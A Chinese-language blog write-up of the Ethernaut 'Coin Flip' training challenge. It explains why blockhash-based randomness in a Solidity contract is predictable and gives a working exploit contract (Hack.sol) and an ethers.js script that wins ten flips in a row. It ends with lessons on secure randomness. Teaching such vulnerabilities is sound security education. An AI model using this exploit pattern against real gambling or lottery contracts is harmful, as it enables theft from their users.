Skip to content
On this page

Ethernaut挑战:Coin Flip——预测未来?不,我只是看穿了你!

想象一下,你面前有一个神奇的机器,它能以近乎完美的概率掷出硬币的正反面。你的任务是连续十次猜中硬币的结果,赢得一场看似不可能的挑战。这听起来像是神秘的预知能力,还是某种高超的作弊技巧?

欢迎来到Ethernaut的“Coin Flip”挑战,一个由Kyle Riley精心设计的智能合约谜题。在这里,你将体验一场关于去中心化应用(DApp)安全性的深度探索,而不是简单的运气游戏。


挑战背景:看似公平的掷硬币游戏

Ethernaut是一个Web3安全学习平台,它通过一系列可破解的智能合约级别,帮助开发者和安全研究人员学习以太坊上的常见漏洞。而“Coin Flip”就是其中一个引人入胜的级别。

根据描述,我们需要连续10次准确预测硬币翻转的结果。如果猜错一次,连胜纪录就会清零。官方甚至暗示你需要“超能力”(psychic abilities)才能完成。果真如此吗?

让我们深入查看挑战的核心——CoinFlip.sol智能合约。

solidity
// CoinFlip.sol

contract CoinFlip {
    uint256 public consecutiveWins; // 连胜次数
    uint256 lastHash; // 上一个区块的哈希
    uint256 FACTOR = 578...968; // 一个巨大的常数

    // ...

    function flip(bool _guess) public returns (bool) {
        // 获取上一个区块的哈希值
        uint256 blockValue = uint256(blockhash(block.number - 1));

        // 如果与上一次的哈希值相同,则回滚(防止同块内重复使用)
        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue; // 更新哈希值
        // 通过对 blockValue 除以 FACTOR 来模拟硬币翻转
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false; // 结果为0或1,对应正反

        if (side == _guess) {
            consecutiveWins++; // 猜中,连胜+1
            return true;
        } else {
            consecutiveWins = 0; // 猜错,连胜清零
            return false;
        }
    }
}

从代码中我们可以看到,CoinFlip合约试图通过blockhash(block.number - 1)来生成一个“随机数”。它取上一个区块的哈希值,然后将其除以一个巨大的FACTOR常数。由于FACTOR的巧妙设计,这个除法的结果只会是0或1,从而模拟了硬币的正反面。

乍一看,这似乎是一个非常巧妙的方法来获取链上随机性。因为没人能预测未来的区块哈希,所以也没人能预测硬币的结果。但,真的是这样吗?


智胜伪随机:洞悉智能合约的奥秘

这里的关键在于:blockhash(block.number - 1)并非“未来”的哈希。它指的是当前交易所在区块的前一个区块的哈希值

这就是漏洞的精髓!

当我们的攻击合约(或普通用户)调用CoinFlip.flip()函数时,这个交易会被打包到某个区块N中。在执行CoinFlip.flip()时,它会获取blockhash(N-1)

而我们的攻击者,如果也部署一个智能合约来调用CoinFlip.flip(),那么在同一个交易中,攻击合约同样可以访问到blockhash(N-1)这个值!

这意味着,攻击合约可以在调用目标CoinFlip合约的flip函数之前,提前计算出硬币的结果!它并不是在预测未来,而是在当前交易执行时,根据已经确定的“过去”信息,推导出目标合约即将进行的操作。


解决方案:打造你的“作弊器”合约

现在,让我们看看如何构建一个“作弊器”合约来轻松实现10连胜。

solidity
// Hack.sol

// 导入 CoinFlip 合约定义
import "./CoinFlip.sol";

contract Hack {
    CoinFlip private immutable target; // 目标 CoinFlip 合约实例
    uint256 FACTOR = 578...968; // 与 CoinFlip 合约相同的常数

    constructor(address _target) {
        target = CoinFlip(_target); // 构造函数,传入目标合约地址
    }

    function flip() external {
        bool guess = _guess(); // 调用内部函数预先计算结果
        // 调用目标合约的 flip 函数,并传入计算出的正确结果
        require(target.flip(guess), "Failed to guess");
    }

    function _guess() private view returns (bool) {
        // 与 CoinFlip 合约中完全相同的计算逻辑
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
    }
}

这个Hack.sol合约非常简单:

  1. 它保存了目标CoinFlip合约的地址。
  2. flip()函数是外部可调用的接口。当它被调用时,它会先执行_guess()函数。
  3. _guess()函数包含了与CoinFlip.solflip函数完全相同的随机数生成逻辑。它获取blockhash(block.number - 1),然后除以FACTOR,得出硬币的真实结果。
  4. 最后,flip()函数将这个预先计算出的正确结果guess传递给目标CoinFlip合约的flip函数。

这样,我们的Hack合约每次都能精准地“猜中”硬币结果,实现连胜!


自动化操作:用脚本实现十连胜

为了方便地完成10次连胜,我们可以编写一个简单的JavaScript脚本(使用ethers.js库)来部署并调用我们的Hack合约。

javascript
// index.js

async function testnet_main() {
    // ... 初始化 provider 和 wallet ...

    const contractAddressHack = "0x..."; // 部署好的 Hack 合约地址
    const abiHack = [
        "function flip() external",
    ];
    const contractHack = new ethers.Contract(contractAddressHack, abiHack, wallet);

    // 循环调用 flip 10次
    for (let i = 0; i < 10; i++) {
        try {
            console.log(`尝试第 ${i + 1} 次翻转...`);
            const tx = await contractHack.flip();
            await tx.wait(); // 等待交易确认
            console.log(`${i + 1} 次翻转成功!`);
            // 你可以进一步查询 CoinFlip 的 consecutiveWins 状态
            // 来确认连胜次数
        } catch (error) {
            console.error(`${i + 1} 次翻转失败:`, error.message);
            // 如果失败,通常是因为gas不足或其他链上问题
            // 在实际挑战中,失败需要重新开始,但这里我们预期会成功
            process.exit(1); // 失败则退出
        }
    }

    // ... 查询 CoinFlip 合约的连胜次数 ...
}

testnet_main().then(() => process.exit(0)).catch((error) => {
    console.error("脚本执行出错:", error);
    process.exit(1);
})

通过这个脚本,我们可以在测试网络上自动化地执行Hack合约的flip函数10次,每次都将确保我们赢得硬币翻转,直到达到10连胜,完成Ethernaut挑战。


核心教训:链上随机性的陷阱

“Coin Flip”挑战生动地展示了在智能合约中生成随机数的一个常见陷阱:

  • blockhash(block.number - 1)不是安全的随机源:由于它在交易执行时是可预测的,所以不能用于需要不可预测性的场景(如游戏、抽奖等)。
  • 链上数据是公开透明的:智能合约中的所有数据和执行逻辑都是公开的,攻击者可以利用这些公开信息来预测合约的行为。
  • 不要依赖链上的“伪随机”:任何基于block.timestampblock.numberblockhash等链上信息生成的随机数都是可预测或可操纵的。

为了实现真正的链上随机性,通常需要借助于外部的预言机(Oracles),例如Chainlink VRF(Verifiable Random Function),它们提供了一种安全且可验证的随机数生成方式,可以有效防止此类攻击。

“Coin Flip”挑战不仅是一场有趣的解谜游戏,更是一堂深刻的Web3安全教育课。它提醒我们,在去中心化的世界里,代码即法律,但代码的漏洞也可能被“看穿”!

Built with AiAda